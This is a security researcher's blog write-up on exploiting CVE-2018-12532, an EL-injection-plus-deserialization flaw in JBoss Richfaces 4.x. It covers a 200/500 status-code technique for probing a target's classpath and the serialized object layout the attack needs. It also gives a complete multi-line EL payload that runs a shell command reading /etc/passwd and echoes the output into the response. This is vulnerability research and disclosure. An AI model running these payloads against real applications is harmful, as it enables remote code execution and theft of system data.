When EL Injection meets Java Deserialization
0. The story
A target during my pentest was using Java Server Faces (JSF) with an UI framework namely Jboss Richfaces. After exploiting the target using CVE-2013-2165 on Richfaces 4 (covered at my last post), I caught Codewhitesec’s blog post [1] about a new 0-day vulnerability in the Richfaces library. @mwulftangemade a well-written research summary into his discovery with many of the details worth paying attention to, especially for a new learner in Java security like myself. Most parts sound ambiguous and unclear to me at the time, so I decided to give it a deeper look, reproduce the analysis and turn it into a working exploit.
The vulnerability, which was assigned CVE-2018-12532, couples Expression Language (EL) Injection with Java deserialization in Richfaces 4.x. Unlike a common vulnerability that triggers after a couple of requests, this takes some more effort to get to the RCE. This blog post aims to help with the path to achieve a reliable RCE exploit, based on the experience of exploiting it in public applications.
In short, I’m gonna talk about a technique to get around the main obstacle in exploiting the vulnerability – incompatible library restrictions in deserialization process. There will also be some insights on Java EL expression and its limitations, along with a payload to reliably get through them.
1. The treasure…
I recommend reading through the the other blog first for an overview of the vulnerability. Briefing through it, the vulnerability lies in the arbitrary injection of EL expression into Java serialized object, which Richfaces fetches from user input without any proper protection.
Richfaces’ security history (a.k.a. CVE history) all originate from the way a resource handler processes a request, which is as follows:
-> Get processing class, say X from URI & get serialized state object for X from parameter do
-(1)-> deserialize state object
--(2)-> create an instance of X and restore its state
---(3)-> process X and produce corresponding response (images, videos, tables...)
And the corresponding vulnerabilities.
- CVE-2013-2165 is an arbitrary deserialization issue, originating from phase (1)
- CVE-2015-0279 is the injection of EL into serialized object, originating from phase (3)
- The latest CVE-2018-12532 is simply a bypass of the previous CVE-2015-0279
- The technique to be mentioned lies in phase (2)
Since CVE-2018-12532 is a mitigation bypass, exploting it would mostly be just the same as exploiting CVE-2015-0279. For that, it’s necessary to credit Takeshi Terada on the discovery of CVE-2015-0279 since it is the base for the vulnerability. Unfortunately his report to the Jboss team (also the only resource about the vulnerability) has yet to produce a reliable exploit and enough vulnerability information.
The EL injection vulnerability lies in a call to MethodExpression.invoke()
in org.richfaces.resource.MediaOutputResource#encode
. Matching to the above flow, X in this case is the class org.richfaces.resource.MediaOutputResource
, and its state object is the EL expression itself. So in theory to exploit the vulnerability, we need to point the request’s endpoint to MediaOutputResource and construct a suitable serialized object to reach the vulnerable code line.
2. … in the middle of the sea
The interesting thing is that Richfaces utilizes the deserialization process to produce the expression input, unlike the usual flow which is to take a string input and turn it into an expression afterwards. This process raised some concerns to exploit the vulnerability, as quoted from the original researcher.
Exploitation of this vulnerability is not always that easy. Especially if there is no existing sample of a valid do state object that can be tampered with. Because if one would want to create the state object, it would require the use of compatible libraries, otherwise the deserialization may fail.
The deserialization failure he’s referring to is caused by either
- Non existent classes in the target application’s classpath, meaning some classes exist in the local environment but are not present on the target’s application, or
- If the classes do exist, an additional problem is mismatching UIDs, coming from the idea of Stream Unique Identifier. Simply talking, to successfully deserialize, the class in the serialized stream and the class in the current classpath must have the same variable
serialVersionUID
specified explicitly in the code. Or if the developer doesn’t specify one, it must have identical class signature (method names, types, modifiers…) which the application would use to compute the UID. Check out the reference above for the exact calculation.
This would mean a real pain in real-world exploits if the vulnerable application is using some unsual combination of libraries stack. If you have tried to exploit deserialization in JSF Myfaces before, these obstacles would look very much like trying to use the 2 gadgets Myfaces1 and Myfaces2 in ysoserial. The author of the gadgets did try to list some combinations of available EL implementations to overcome it there, but it won’t work reliably from the way I see.
While doing code reviews during the analysis, I came up with a way to overcome this in Richfaces 4, which makes exploiting the vulnerability more practical.
3. Building a boat…
The goal is to extract the exact classes needed to construct MediaOutputResource
state, along with their version on the target application. First idea in mind is to blindly fire payloads with the state object containing all possible combination of library usages and a simple EL expression, then hope for the best for a successful execution of the EL. This takes lots of effort and is not practical since we need to know beforehand all possible combinations of the related libraries. Plus even then, sometimes a problem in EL execution or an outside factor (such as WAFs) could cause the expression not return our wanted value, making the effort to bruteforce the libraries in vain.
My solution was to try each possible class one at a time instead of stacking all our classes in one payload. Plus the ability to determine whether that class is correctly deserialized, eventually we would figure out all correct classes needed for building the exploit.
So how to determine if a class is correctly deserialize on the application? Turns out Richfaces has a special ‘feature’ to help.
The first important foundation for the idea is the fact Java deserialization will naturally processes and returns any kind of object. It simply doesn’t care whether the data in the stream is a single java.lang.Integer
or an array of org.apache.el.MethodExpressionImpl
objects.
The second key lies in the exceptions handling in the serialization process in Richfaces 4.x. The following code is used in the first phase, the deserialization. This is taken from org.richfaces.resource.ResourceUtils#decodeObjectData
:
'''public
static
Object decodeObjectData(String encodedData) {
byte
[] objectArray = decodeBytesData(encodedData);
try
{
ObjectInputStream in =
new
LookAheadObjectInputStream(
new
ByteArrayInputStream(objectArray));
return
in.readObject();
}
catch
(StreamCorruptedException e) {
RESOURCE_LOGGER.error(Messages.getMessage(Messages.STREAM_CORRUPTED_ERROR), e);
}
catch
(IOException e) {
RESOURCE_LOGGER.error(Messages.getMessage(Messages.DESERIALIZE_DATA_INPUT_ERROR), e);
}
catch
(ClassNotFoundException e) {
RESOURCE_LOGGER.error(Messages.getMessage(Messages.DATA_CLASS_NOT_FOUND_ERROR), e);
}
return
null
;
}
As you can see, Richfaces catches all types of deserialize exceptions and continue the code flow just like it has a null state object, instead of stopping the execution and yielding an error. Additionally, a null-state object in Richfaces is normal. The application in which case will generate a fresh object with default values and assume it has no cached state.
More on that in the following code, which is used in the next phase to restore the object state. This is taken from org.richfaces.util.Util#restoreResourceState
.
'''public
static
void
restoreResourceState(FacesContext context, Object resource, Object state) {
if
(state ==
null
) {
// transient resource hasn't provided any data
return
;
}
if
(resource
instanceof
StateHolderResource) {
StateHolderResource stateHolderResource = (StateHolderResource) resource;
ByteArrayInputStream bais =
new
ByteArrayInputStream((
byte
[]) state);
DataInputStream dis =
new
DataInputStream(bais);
try
{
stateHolderResource.readState(context, dis);
}
catch
(IOException e) {
throw
new
FacesException(e.getMessage(), e);
}
finally
{
try
{
dis.close();
}
catch
(IOException e) {
RESOURCE_LOGGER.debug(e.getMessage(), e);
}
}
}
else
if
(resource
instanceof
StateHolder) {
StateHolder stateHolder = (StateHolder) resource;
stateHolder.restoreState(context, state);
}
}
If the previous deserialization fails, the state object will be null and the function immediately returns (line 2), which makes the resource object hold default fields and values. The application will after that return a 200 success status code along with the resource data.
On the other hand if the previous deserialization succeeds (and the resource in request is of a StateHolderResource instance – line 7, which we can manipulate), the first thing it does afterwards is to cast the state object to a byte array (line 10). This will always fail if the state object is not an array, and in which case an exception is thrown but not caught by any Richfaces code, which in turn makes the application return a 500 internal error.
The condition at line 7 means the resource object must be of a StateHolderResource instance. For that we only need to point our request endpoint to a static resource file, e.g. a css or javascript file like skinning.ecss
.
Based on those, to craft requests for this type of bruteforce, we need to point our requests to a static resource object, embed do
parameter of a serialized object with only one single class in it – the class we want to verify whether it’s available on the application’s classpath.
- If the webapp returns 200 success status code, the deserialization has failed, and the application doesn’t have that class or the UIDs are mismatched.
- If the webapp returns 500 error status code, the deserialization has succeeded, and that class is indeed present with a matching UID on the application’s classpath.
Remember here we only need the status code, not the detailed error information, which makes this very practical to use in real applications. Since in most cases we should always be able to differentiate between a 200 and 500 error code. Even with WAFs like BIG-IP ASM or ModSecurity with very strict rules, this logic can still apply and give us the result we want.
Using the above technique, we can gradually bypass the restriction that stops us from reaching the EL injection point. After several cases exploiting this, I collected some of the most widely used related libraries in the JSF application, some of them are as follows. (Names are taken from Maven repos)
- JSF implementations: Mojarra/Myfaces(javax.faces-api / jsf-impl+jsf-api / myfaces-impl+myfaces-api)
- EL interfaces (javax.el-api / tomcat-jasper-el)
- EL implementations: Jasper/Jboss (tomcat-jasper-el / jasper-el / jboss-el)
After we have the destination application’s environment, we can construct the serialized payload. An object map in a typical application using Mojarra JSF is as follows.
Ljava.lang.Object[5]
[0] = (java.lang.Boolean) false
[3] = (javax.faces.component.StateHolderSaver)
savedState = (org.apache.el.MethodExpressionImpl)
expr = (java.lang.String) "foo.toString"
varMapper = (org.apache.el.lang.VariableMapperImpl)
vars = (Ljava.util.HashMap)
{(java.lang.String)"foo": (java.lang.String)[EL_TO_INJECT]}
4. … into a ship
For some edge cases, I discovered that the default Richfaces’ DEFLATE compression implementation does not allocate enough buffer for large payload and would then trim the payload short. So at some point when in need to make a long EL expression, we need to set the compression type to Deflater.NO_COMPRESSION. This will make the decompression process on the server produce the output as it is and not interfere with the binary.
One more thing that needs attention is how to produce a RCE from EL expressions. Currently, the most straight forward way to get RCE from EL expression is through this piece of treasure: the Java Script Engine. The only two payloads exploiting an EL injection I found (at here and here) are using it. Common implementations are the Nashorn Engine, shipping with JRE 8 and Rhino Engine with JRE 7 and below. The syntax is simple: instantiate a ScriptEngineManager, get the engine and evaluate the code.
1#{
""
.getClass().forName(
"javax.script.ScriptEngineManager"
).newInstance().getEngineByName(
"JavaScript"
).eval(
"..."
)}
Unfortunately this doesn’t always work. In one special target, the customized OpenJDK they use does not have a proper implementation of ScriptEngine. Plus even if an application does have the engine, the expression above will still sometimes fail. Notice the last method call in the EL above is an eval()
, and there are 6 overloaded versions of it in ScriptEngine. Based on condition 1 below, if the first eval method from Class.getMethods()
falls on any version other than eval(String)
, the expression will fail.
And so I decided not to rely on Java’s ScriptEngine and develop another EL payload that can work with native JRE. The goal is to execute shell commands and then pass the output to the response for a full RCE.
Through trial and errors along with local testing, here is some of the most important EL limitations
- [Condition 1] ELs cannot overload methods. It will always calls the first method that has a matching name in the array from Class.getMethods().
- [Condition 2] On Jasper’s EL implementation (tomcat-jasper-el) 7.0.53 to 8.0.25, we cannot use Reflection to invoke methods with empty arguments. This is due to an annoying bug in its internal EL handling of varargs (thanks to @orange for the help)
- [Condition 3] Only Jasper’s EL imlementation supports implicit convert of arguments list to varargs. In others (such as jboss-el), varargs requires an array argument, so we have to construct an array beforehand.
To pass condition 3, we need to come up with a way to construct array and its member without being restrained by condition 2. Based on that we can construct a List through Class<java.util.ArrayList>.newInstance()
, call .add(E e)
on it to populate and finally .toArray()
to produce an array. The final payload is as follows, I added some comments to clear it up a bit.
'''// Execute commands through ProcessBuilder(List<String>).start(). Runtime.exec() won't work because Runtime.getRuntime() violates condition 2
#{session.setAttribute(
"a"
,
""
.getClass().forName(
"java.util.ArrayList"
).newInstance())}
#{session.setAttribute(
"c"
,
""
.getClass().forName(
"java.util.ArrayList"
).newInstance())}
#{session.getAttribute(
"c"
).add(
"sh"
)}
#{session.getAttribute(
"c"
).add(
"-c"
)}
#{session.getAttribute(
"c"
).add(
"cat /etc/passwd"
)}
#{session.getAttribute(
"a"
).add(session.getAttribute(
"c"
))}
#{session.setAttribute(
"p"
,
""
.getClass().forName(
"java.lang.ProcessBuilder"
).declaredConstructors[
0
].newInstance(session.getAttribute(
"a"
).toArray()).start())}
#{session.getAttribute(
"a"
).set(
0
,session.getAttribute(
"p"
).inputStream)}
// Read the output buffer through java.util.Scanner#useDelimiter(java.lang.String)
#{session.setAttribute(
"s"
,
""
.getClass().forName(
"java.util.Scanner"
).declaredConstructors[
3
].newInstance(session.getAttribute(
"a"
).toArray()))}
#{session.getAttribute(
"a"
).set(
0
,
"\\A"
)}
#{session.setAttribute(
"d"
,
""
.getClass().forName(
"java.util.Scanner"
).methods[
1
].invoke(session.getAttribute(
"s"
),session.getAttribute(
"a"
).toArray()).next())}
// Write to response through java.io.PrintWriter#write(java.lang.String)
#{session.getAttribute(
"a"
).set(
0
,facesContext.externalContext.response.outputStream)}
#{session.setAttribute(
"w"
,
""
.getClass().forName(
"java.io.PrintWriter"
).constructors[
6
].newInstance(session.getAttribute(
"a"
).toArray()))}
#{session.getAttribute(
"a"
).set(
0
,session.getAttribute(
"d"
))}
#{
""
.getClass().forName(
"java.io.PrintWriter"
).methods[
25
].invoke(session.getAttribute(
"w"
),session.getAttribute(
"a"
).toArray())}
#{session.getAttribute(
"w"
).flush()}
#{session.getAttribute(
"w"
).close()}
This needs some tinkering on the object position in the array, which can be extracted manually through the EL:
1#{facesContext.externalContext.response.setContentType(
""
.getClass().forName(
"java.util.Scanner"
).constructors[
3
].toString())}
4. The reward
From exploiting the vulnerability, I’ve got a total of ~$7000 from several vendors, of which the largest are an unable-to-disclose one, Nuxeo and LogMeIn, plus public recognition from some others.
Of all of those, the undisclosed application was used in some very large financial corperations in the US. It takes me several days to get to know the application’s logic and successfully produce the exploit, which brought me an extremely satisfying feeling afterwards. However I agreed not to disclose any of their names :(
There are always new things to learn when you engage in security assignments, whether it’s pentest, code review or research. I hope you are as entertained as I have been and could learn something from this.
Thanks for reading. See you at my nearest awesome security experience!
Author: Trinh Phuoc An